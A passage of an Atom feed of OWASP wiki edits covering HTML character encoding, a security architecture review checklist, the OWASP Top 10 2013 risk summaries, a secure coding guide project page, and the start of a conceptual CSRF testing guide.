HTML encoding usually means '''&amp;amp;lt;''' becomes '''&amp;amp;amp;lt;''', '''&amp;amp;gt;''' becomes '''&amp;amp;amp;gt;''', '''&amp;amp;amp;''' becomes '''&amp;amp;amp;amp;''', and '''&amp;amp;quot;''' becomes '''&amp;amp;amp;quot;'''.&lt;br /&gt;
&lt;br /&gt;
From	To&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	&amp;amp;amp;lt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	&amp;amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#40;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	&amp;amp;amp;&amp;amp;#35;40;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#41;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	&amp;amp;amp;&amp;amp;#35;41;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#35;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	&amp;amp;amp;&amp;amp;#35;35;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;amp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	&amp;amp;amp;amp;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;quot;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	&amp;amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
So for example the text &amp;lt;script&amp;gt; would be displayed as &amp;lt;script&amp;gt; but on viewing the markup it would be represented by &amp;amp;amp;lt;script&amp;amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Application_Security_Architecture_Cheat_Sheet&amp;diff=203060</id>
		<title>Application Security Architecture Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Application_Security_Architecture_Cheat_Sheet&amp;diff=203060"/>
				<updated>2015-11-04T18:33:46Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Minor&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
= Introduction = &lt;br /&gt;
&lt;br /&gt;
This cheat sheet offers tips for the initial design and review of an application's security architecture.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
= Business Requirements = &lt;br /&gt;
&lt;br /&gt;
== Business Model ==&lt;br /&gt;
&lt;br /&gt;
* What is the application's primary business purpose?&lt;br /&gt;
* How will the application make money?&lt;br /&gt;
* What are the planned business milestones for developing or improving the application?&lt;br /&gt;
* How is the application marketed?&lt;br /&gt;
* What key benefits does application offer its users?&lt;br /&gt;
* What business continuity provisions have been defined for the application?&lt;br /&gt;
* What geographic areas does the application service?&lt;br /&gt;
&lt;br /&gt;
== Data Essentials ==&lt;br /&gt;
&lt;br /&gt;
* What data does the application receive, produce, and process?&lt;br /&gt;
* How can the data be classified into categories according to its sensitivity?&lt;br /&gt;
* How might an attacker benefit from capturing or modifying the data?&lt;br /&gt;
* What data backup and retention requirements have been defined for the application?&lt;br /&gt;
&lt;br /&gt;
== End‐Users ==&lt;br /&gt;
&lt;br /&gt;
* Who are the application's end‐users?&lt;br /&gt;
* How do the end‐users interact with the application?&lt;br /&gt;
* What security expectations do the end‐users have?&lt;br /&gt;
&lt;br /&gt;
== Partners ==&lt;br /&gt;
&lt;br /&gt;
* Which third parties supply data to the application?&lt;br /&gt;
* Which third parties receive data from the applications?&lt;br /&gt;
* Which third parties process the application's data?&lt;br /&gt;
* What mechanisms are used to share data with third‐parties besides the application itself?&lt;br /&gt;
* What security requirements do the partners impose?&lt;br /&gt;
&lt;br /&gt;
== Administrators ==&lt;br /&gt;
&lt;br /&gt;
* Who has administrative capabilities in the application?&lt;br /&gt;
* What administrative capabilities does the application offer?&lt;br /&gt;
&lt;br /&gt;
== Regulations ==&lt;br /&gt;
&lt;br /&gt;
* In what industries does the application operate?&lt;br /&gt;
* What security‐related regulations apply?&lt;br /&gt;
* What auditing and compliance regulations apply?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
= Infrastructure Requirements = &lt;br /&gt;
&lt;br /&gt;
== Network ==&lt;br /&gt;
* What details regarding routing, switching, firewalling, and load‐balancing have been defined?&lt;br /&gt;
* What network design supports the application?&lt;br /&gt;
* What core network devices support the application?&lt;br /&gt;
* What network performance requirements exist?&lt;br /&gt;
* What private and public network links support the application?&lt;br /&gt;
&lt;br /&gt;
== Systems ==&lt;br /&gt;
* What operating systems support the application?&lt;br /&gt;
* What hardware requirements have been defined?&lt;br /&gt;
* What details regarding required OS components and lock‐down needs have been defined?&lt;br /&gt;
&lt;br /&gt;
== Infrastructure Monitoring ==&lt;br /&gt;
* What network and system performance monitoring requirements have been defined?&lt;br /&gt;
* What mechanisms exist to detect malicious code or compromised application components?&lt;br /&gt;
* What network and system security monitoring requirements have been defined?&lt;br /&gt;
&lt;br /&gt;
== Virtualization and Externalization ==&lt;br /&gt;
* What aspects of the application lend themselves to virtualization?&lt;br /&gt;
* What virtualization requirements have been defined for the application?&lt;br /&gt;
* What aspects of the product may or may not be hosted via the cloud computing model?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
= Application Requirements =&lt;br /&gt;
&lt;br /&gt;
== Environment ==&lt;br /&gt;
* What frameworks and programming languages have been used to create the application?&lt;br /&gt;
* What process, code, or infrastructure dependencies have been defined for the application?&lt;br /&gt;
* What databases and application servers support the application?&lt;br /&gt;
&lt;br /&gt;
== Data Processing ==&lt;br /&gt;
* What data entry paths does the application support?&lt;br /&gt;
* What data output paths does the application support?&lt;br /&gt;
* How does data flow across the application's internal components?&lt;br /&gt;
* What data input validation requirements have been defined?&lt;br /&gt;
* What data does the application store and how?&lt;br /&gt;
* What data is or may need to be encrypted and what key management requirements have been defined?&lt;br /&gt;
* What capabilities exist to detect the leakage of sensitive data?&lt;br /&gt;
* What encryption requirements have been defined for data in transit over WAN and LAN links?&lt;br /&gt;
== Access ==&lt;br /&gt;
* What user privilege levels does the application support?&lt;br /&gt;
* What user identification and authentication requirements have been defined?&lt;br /&gt;
* What user authorization requirements have been defined?&lt;br /&gt;
* What session management requirements have been defined?&lt;br /&gt;
* What access requirements have been defined for URI and Service calls?&lt;br /&gt;
* What user access restrictions have been defined?&lt;br /&gt;
* How are user identities maintained throughout transaction calls?&lt;br /&gt;
== Application Monitoring ==&lt;br /&gt;
* What application auditing requirements have been defined?&lt;br /&gt;
* What application performance monitoring requirements have been defined?&lt;br /&gt;
* What application security monitoring requirements have been defined?&lt;br /&gt;
* What application error handling and logging requirements have been defined?&lt;br /&gt;
* How are audit and debug logs accessed, stored, and secured?&lt;br /&gt;
&lt;br /&gt;
== Application Design ==&lt;br /&gt;
* What application design review practices have been defined and executed?&lt;br /&gt;
* How is intermediate or in-process data stored in the application components' memory and in cache?&lt;br /&gt;
* How many logical tiers group the application's components?&lt;br /&gt;
* What staging, testing, and Quality Assurance requirements have been defined?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
= Security Program Requirements =&lt;br /&gt;
&lt;br /&gt;
== Operations ==&lt;br /&gt;
* What is the process for identifying and addressing vulnerabilities in the application?&lt;br /&gt;
* What is the process for identifying and addressing vulnerabilities in network and system components?&lt;br /&gt;
* What access to system and network administrators have to the application's sensitive data?&lt;br /&gt;
* What security incident requirements have been defined?&lt;br /&gt;
* How do administrators access production infrastructure to manage it?&lt;br /&gt;
* What physical controls restrict access to the application's components and data?&lt;br /&gt;
* What is the process for granting access to the environment hosting the application?&lt;br /&gt;
&lt;br /&gt;
== Change Management ==&lt;br /&gt;
* How are changes to the code controlled?&lt;br /&gt;
* How are changes to the infrastructure controlled?&lt;br /&gt;
* How is code deployed to production?&lt;br /&gt;
* What mechanisms exist to detect violations of change management practices?&lt;br /&gt;
&lt;br /&gt;
== Software Development ==&lt;br /&gt;
* What data is available to developers for testing?&lt;br /&gt;
* How do developers assist with troubleshooting and debugging the application?&lt;br /&gt;
* What requirements have been defined for controlling access to the applications source code?&lt;br /&gt;
* What secure coding processes have been established?&lt;br /&gt;
&lt;br /&gt;
== Corporate ==&lt;br /&gt;
* What corporate security program requirements have been defined?&lt;br /&gt;
* What security training do developers and administrators undergo?&lt;br /&gt;
* Which personnel oversees security processes and requirements related to the application?&lt;br /&gt;
* What employee initiation and termination procedures have been defined?&lt;br /&gt;
* What application requirements impose the need to enforce the principle of separation of duties?&lt;br /&gt;
* What controls exist to protect a compromised in the corporate environment from affecting production?&lt;br /&gt;
* What security governance requirements have been defined?&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
[http://www.zeltser.com Lenny Zeltser - First Draft 2012]&lt;br /&gt;
&lt;br /&gt;
[mailto:tony.turner@owasp.org Tony Turner - 2015 Format Change and Revisions]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets  =&lt;br /&gt;
{{Cheatsheet_Navigation}} &lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10_2013-Top_10&amp;diff=199383</id>
		<title>Top 10 2013-Top 10</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10_2013-Top_10&amp;diff=199383"/>
				<updated>2015-08-21T19:17:02Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: A minor thing to make it look a bit nicer.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2013:TopTemplate&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A1-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |1&lt;br /&gt;
              |year=2013&lt;br /&gt;
              |language=en&lt;br /&gt;
          }}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev={{Top_10:LanguageFile|text=risk|year=2013|language=en}}&lt;br /&gt;
    |year=2013&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
{| cellspacing=&amp;quot;1&amp;quot; cellpadding=&amp;quot;1&amp;quot; border=&amp;quot;0&amp;quot; width=&amp;quot;100%;&amp;quot;&lt;br /&gt;
| style=&amp;quot;width: 173px;&amp;quot; | {{Top 10:RoundedBoxLinkBegin|year=2013|risk=1|language=en}}&amp;lt;br/&amp;gt;A1-{{Top_10_2010:ByTheNumbers|1|year=2013|language=en}}&lt;br /&gt;
    {{Top 10:RoundedBoxLinkEnd|year=2013}}&lt;br /&gt;
|{{Top 10:GrayBoxBegin|year=2013}}&lt;br /&gt;
Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.&lt;br /&gt;
&lt;br /&gt;
{{Top 10:GrayBoxEnd|year=2013}}&lt;br /&gt;
|-&lt;br /&gt;
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=2|language=en}}A2-{{Top_10_2010:ByTheNumbers|2|year=2013|language=en}}&lt;br /&gt;
{{Top 10:RoundedBoxLinkEnd|year=2013}}&lt;br /&gt;
|{{Top 10:GrayBoxBegin|year=2013}}&lt;br /&gt;
Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or  to exploit other implementation flaws to assume other users’ identities.&lt;br /&gt;
&lt;br /&gt;
{{Top 10:GrayBoxEnd|year=2013}}&lt;br /&gt;
|-&lt;br /&gt;
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=3|language=en}}&amp;lt;br/&amp;gt;A3-{{Top_10_2010:ByTheNumbers|3|year=2013|language=en}}&lt;br /&gt;
{{Top 10:RoundedBoxLinkEnd|year=2013}}&lt;br /&gt;
|{{Top 10:GrayBoxBegin|year=2013}}&lt;br /&gt;
XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.&lt;br /&gt;
&lt;br /&gt;
{{Top 10:GrayBoxEnd|year=2013}}&lt;br /&gt;
|-&lt;br /&gt;
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=4|language=en}}&amp;lt;br/&amp;gt;A4-{{Top_10_2010:ByTheNumbers|4|year=2013|language=en}}&lt;br /&gt;
{{Top 10:RoundedBoxLinkEnd|year=2013}}&lt;br /&gt;
|{{Top 10:GrayBoxBegin|year=2013}}&lt;br /&gt;
A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.&lt;br /&gt;
&lt;br /&gt;
{{Top 10:GrayBoxEnd|year=2013}}&lt;br /&gt;
|-&lt;br /&gt;
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=5|language=en}}&amp;lt;br/&amp;gt;A5-{{Top_10_2010:ByTheNumbers|5|year=2013|language=en}}&lt;br /&gt;
{{Top 10:RoundedBoxLinkEnd|year=2013}}&lt;br /&gt;
|{{Top 10:GrayBoxBegin|year=2013}}&lt;br /&gt;
Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date.&lt;br /&gt;
&lt;br /&gt;
{{Top 10:GrayBoxEnd|year=2013}}&lt;br /&gt;
|-&lt;br /&gt;
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=6|language=en}}&amp;lt;br/&amp;gt;A6-{{Top_10_2010:ByTheNumbers|6|year=2013|language=en}}&lt;br /&gt;
{{Top 10:RoundedBoxLinkEnd|year=2013}}&lt;br /&gt;
|{{Top 10:GrayBoxBegin|year=2013}}&lt;br /&gt;
Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.&lt;br /&gt;
&lt;br /&gt;
{{Top 10:GrayBoxEnd|year=2013}}&lt;br /&gt;
|-&lt;br /&gt;
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=7|language=en}}&amp;lt;br/&amp;gt;A7-{{Top_10_2010:ByTheNumbers|7|year=2013|language=en}}&lt;br /&gt;
{{Top 10:RoundedBoxLinkEnd|year=2013}}&lt;br /&gt;
|{{Top 10:GrayBoxBegin|year=2013}}&lt;br /&gt;
Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed. If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization.&lt;br /&gt;
&lt;br /&gt;
{{Top 10:GrayBoxEnd|year=2013}}&lt;br /&gt;
|-&lt;br /&gt;
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=8|language=en}}&amp;lt;br/&amp;gt;A8-{{Top_10_2010:ByTheNumbers|8|year=2013|language=en}}&lt;br /&gt;
{{Top 10:RoundedBoxLinkEnd|year=2013}}&lt;br /&gt;
|{{Top 10:GrayBoxBegin|year=2013}}&lt;br /&gt;
A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.&lt;br /&gt;
&lt;br /&gt;
{{Top 10:GrayBoxEnd|year=2013}}&lt;br /&gt;
|-&lt;br /&gt;
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=9|language=en}}A9-{{Top_10_2010:ByTheNumbers|9|year=2013|language=en}}&lt;br /&gt;
{{Top 10:RoundedBoxLinkEnd|year=2013}}&lt;br /&gt;
|{{Top 10:GrayBoxBegin|year=2013}}&lt;br /&gt;
Components, such as libraries, frameworks, and other software modules, almost always run with full privileges. If  a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications using components with known vulnerabilities may undermine application defenses and enable a range of possible attacks and impacts.&lt;br /&gt;
&lt;br /&gt;
{{Top 10:GrayBoxEnd|year=2013}}&lt;br /&gt;
|-&lt;br /&gt;
|{{Top 10:RoundedBoxLinkBegin|year=2013|risk=10|language=en}}&amp;lt;br/&amp;gt;A10-{{Top_10_2010:ByTheNumbers|10|year=2013|language=en}}&lt;br /&gt;
{{Top 10:RoundedBoxLinkEnd|year=2013}}&lt;br /&gt;
|{{Top 10:GrayBoxBegin|year=2013}}&lt;br /&gt;
Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages. &lt;br /&gt;
&lt;br /&gt;
{{Top 10:GrayBoxEnd|year=2013}}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2013:BottomTemplate&lt;br /&gt;
    |type={{Top_10_2010:StyleTemplate}}&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A1-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |1&lt;br /&gt;
              |year=2013&lt;br /&gt;
              |language=en&lt;br /&gt;
          }}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev={{Top_10:LanguageFile|text=risk|year=2013|language=en}}&lt;br /&gt;
    |year=2013&lt;br /&gt;
    |language=en&lt;br /&gt;
}}[[Category:Popular]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide&amp;diff=193534</id>
		<title>OWASP Secure Coding Practices - Quick Reference Guide</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide&amp;diff=193534"/>
				<updated>2015-04-16T21:02:23Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Just some tidying.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==== Main  ====&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[Image:OWASP Inactive Banner.jpg|800px| link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Inactive_Projects]] &amp;lt;/div&amp;gt;&lt;br /&gt;
== Welcome to the Secure Coding Practices Quick Reference Guide Project ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The Secure Coding Practices Quick Reference Guide is a technology agnostic set of general software security coding practices, in a comprehensive checklist format, that can be integrated into the development lifecycle. At only 17 pages long, it is easy to read and digest.&lt;br /&gt;
&lt;br /&gt;
The focus is on secure coding requirements, rather then on vulnerabilities and exploits. It includes an introduction to Software Security Principles and a glossary of key terms.&lt;br /&gt;
&lt;br /&gt;
It is designed to serve as a secure coding kick-start tool and easy reference, to help development teams quickly understand secure coding practices.&lt;br /&gt;
&lt;br /&gt;
=== Sections of the Guide: ===&lt;br /&gt;
&lt;br /&gt;
* Table of contents&lt;br /&gt;
* Introduction&lt;br /&gt;
* Software Security Principles Overview&lt;br /&gt;
* Secure Coding Practices Checklist &lt;br /&gt;
* Links to useful resources &lt;br /&gt;
* Glossary of important terminology&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Download the current v2 (Stable) release:'''&lt;br /&gt;
 &lt;br /&gt;
* [[Media:OWASP_SCP_Quick_Reference_Guide_v2.pdf|English version PDF]]&lt;br /&gt;
* [[Media:OWASP_SCP_Quick_Reference_Guide_v2.doc|English version MS Word]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Translations:'''&lt;br /&gt;
&lt;br /&gt;
* [[Media:OWASP_SCP_v1.3_pt-BR.pdf|Brazilian Portuguese Translation PDF]]&lt;br /&gt;
* [[Media:OWASP_SCP_v1.3_pt-PT.pdf|Portugal Portuguese Translation PDF]]&lt;br /&gt;
* [[Media:2011%EB%85%846%EC%9B%94_OWASP_%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9%EA%B7%9C%EC%B9%99_v2_KOR.pdf|Korean Translation PDF]]&lt;br /&gt;
* [[Media:OWASP_SCP_Quick_Reference_Guide_SPA.doc|Spanish Translation doc]]&lt;br /&gt;
* [[Media:OWASP_SCP_Quick_Reference_Guide_%28Chinese%29.pdf|Chinese Translation PDF]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Related Presentations:'''&amp;lt;br&amp;gt;&lt;br /&gt;
This slide deck incorporates many concepts from the Quick reference guide, but also utilizes other OWASP resources.&amp;lt;br&amp;gt;&lt;br /&gt;
[https://www.owasp.org/images/b/ba/Web_Application_Development_Dos_and_Donts.ppt Web Application Development Dos and Donts - Presentation from the Royal Bank of Scotland]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Project Feedback and Disposition History'''&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/images/6/64/SCP-QRG_Revisions_History.xls XLS Feedback Spreadsheet] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
== Feedback and Participation: ==&lt;br /&gt;
&lt;br /&gt;
I hope you find the OWASP Secure Coding Practices Quick Reference Guide Project useful. Please contribute to the Project by sending your comments, questions, and suggestions to [mailto:Keith.Turpin@owasp.org keith.turpin@owasp.org].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Project mailing list and archives: &lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-secure-coding-practices subscription page.]&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
== Project Contributors: ==&lt;br /&gt;
&lt;br /&gt;
If you contribute to this Project, please add your name here&amp;lt;br&amp;gt;&lt;br /&gt;
'''Project Lead:'''&lt;br /&gt;
* [[user:Keith Turpin|Keith Turpin]]&lt;br /&gt;
 &lt;br /&gt;
'''Contributors:'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Dan Kranz&lt;br /&gt;
* Walt Pietrowski&lt;br /&gt;
* Catherine Spencer&lt;br /&gt;
* [mailto:Caleb.mcgary@gmail.com Caleb McGary]&lt;br /&gt;
* [mailto:bradcausey@owasp.org Brad Causey]&lt;br /&gt;
* [mailto:ludovic.petit@owasp.org Ludovic Petit]&lt;br /&gt;
* [mailto:michael.scovetta@gmail.com Michael V. Scovetta]&lt;br /&gt;
* [mailto:jim.manico@owasp.org Jim Manico]&lt;br /&gt;
* Jason Coleman&lt;br /&gt;
* [mailto:anurag.agarwal@yahoo.com Anurag Agarwal]&lt;br /&gt;
* [mailto:petand@lvk.cs.msu.su Andrew Petukhov]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Translation Contributors'''&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
'''Portuguese Translation'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* [mailto:tarciziovn@gmail.com Tarcizio Vieira Neto]&lt;br /&gt;
* [mailto:silviofilhosf@gmail.com Sílvio Correia Filho]&lt;br /&gt;
* [mailto:leandrock@gmail.com Leandro Gomes]&lt;br /&gt;
'''Korean Translation'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP Korea chapter&lt;br /&gt;
'''Spanish Translation'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Canedo,Gerardo&lt;br /&gt;
* Flores,Mauro&lt;br /&gt;
* Hill,Alberto&lt;br /&gt;
* Martinez,Mateo&lt;br /&gt;
* Papaleo,Mauricio&lt;br /&gt;
* Soarez,Nicolás&lt;br /&gt;
* Targetta, Cecilia&lt;br /&gt;
'''Chinese Translation'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [mailto:wangj@owasp.org.cn Jie Wang]&lt;br /&gt;
* Yongliang He&lt;br /&gt;
* Henghui Lin&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Project About ====&lt;br /&gt;
{{:Projects/OWASP Secure Coding Practices - Quick Reference Guide | Project About}}&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|Secure Coding Practices - Quick Reference Guide]] [[Category:OWASP_Document]] [[Category:OWASP Best Practices]] [[Category:OWASP_Download]] [[Category:OWASP_Release_Quality_Document|OWASP Release Quality Document]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Directory_Traversal&amp;diff=193313</id>
		<title>Testing for Directory Traversal</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Directory_Traversal&amp;diff=193313"/>
				<updated>2015-04-14T15:44:26Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Redirected page to Testing Directory traversal/file include (OTG-AUTHZ-001)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Path_Traversal_(OWASP-AZ-001)&amp;diff=193312</id>
		<title>Testing for Path Traversal (OWASP-AZ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Path_Traversal_(OWASP-AZ-001)&amp;diff=193312"/>
				<updated>2015-04-14T15:44:23Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Redirected page to Testing Directory traversal/file include (OTG-AUTHZ-001)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_CSRF_(OTG-SESS-005)&amp;diff=191395</id>
		<title>Testing for CSRF (OTG-SESS-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_CSRF_(OTG-SESS-005)&amp;diff=191395"/>
				<updated>2015-03-13T20:17:58Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Goodness.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
==Summary==&lt;br /&gt;
&lt;br /&gt;
[[CSRF]] is an attack that forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email or chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation, when it targets a normal user. If the targeted end user is the administrator account, a CSRF attack can compromise the entire web application.&lt;br /&gt;
&lt;br /&gt;
CSRF relies on the following:&lt;br /&gt;
&lt;br /&gt;
# Web browser behavior regarding the handling of session-related information such as cookies and http authentication information&lt;br /&gt;
# Knowledge by the attacker of valid web application URLs&lt;br /&gt;
# Application session management relying only on information which is known by the browser&lt;br /&gt;
# Existence of HTML tags whose presence cause immediate access to an http[s] resource; for example the image tag ''img''&lt;br /&gt;
&lt;br /&gt;
Points 1, 2, and 3 are essential for the vulnerability to be present, while point 4 facilitates the actual exploitation, but is not strictly required.&lt;br /&gt;
&lt;br /&gt;
Point 1) Browsers automatically send information which is used to identify a user session. Suppose ''site'' is a site hosting a web application, and the user ''victim'' has just authenticated himself to ''site''. In response, ''site'' sends ''victim'' a cookie which identifies  requests sent by ''victim'' as belonging to ''victim’s'' authenticated session. Basically, once the browser receives the cookie set by ''site'', it will automatically send it along with any further requests directed to ''site''.&lt;br /&gt;
&lt;br /&gt;
Point 2) If the application does not make use of session-related information in URLs, then it means that the application URLs, their parameters, and legitimate values may be identified (either by code analysis or by accessing the application and taking note of forms and URLs embedded in the HTML/JavaScript).&lt;br /&gt;
&lt;br /&gt;
Point 3) &amp;quot;Known by the browser” refers to information such as cookies, or http-based authentication information (such as Basic Authentication; and not form-based authentication), which are stored by the browser and subsequently present at each request directed towards an application area requesting that authentication. The vulnerabilities discussed next apply to applications which rely entirely on this kind of information to identify a user session.&lt;br /&gt;
&lt;br /&gt;
Suppose, for simplicity's sake, to refer to GET-accessible URLs (though the discussion applies as well to POST requests). If ''victim'' has already authenticated himself, submitting another request causes the cookie to be automatically sent with it (see picture, where the user accesses an application on www.example.com).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:session_riding.GIF]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The GET request could be originated in several different ways:&lt;br /&gt;
&lt;br /&gt;
* by the user, who is using the actual web application;&lt;br /&gt;
* by the user, who types the URL directly in the browser;&lt;br /&gt;
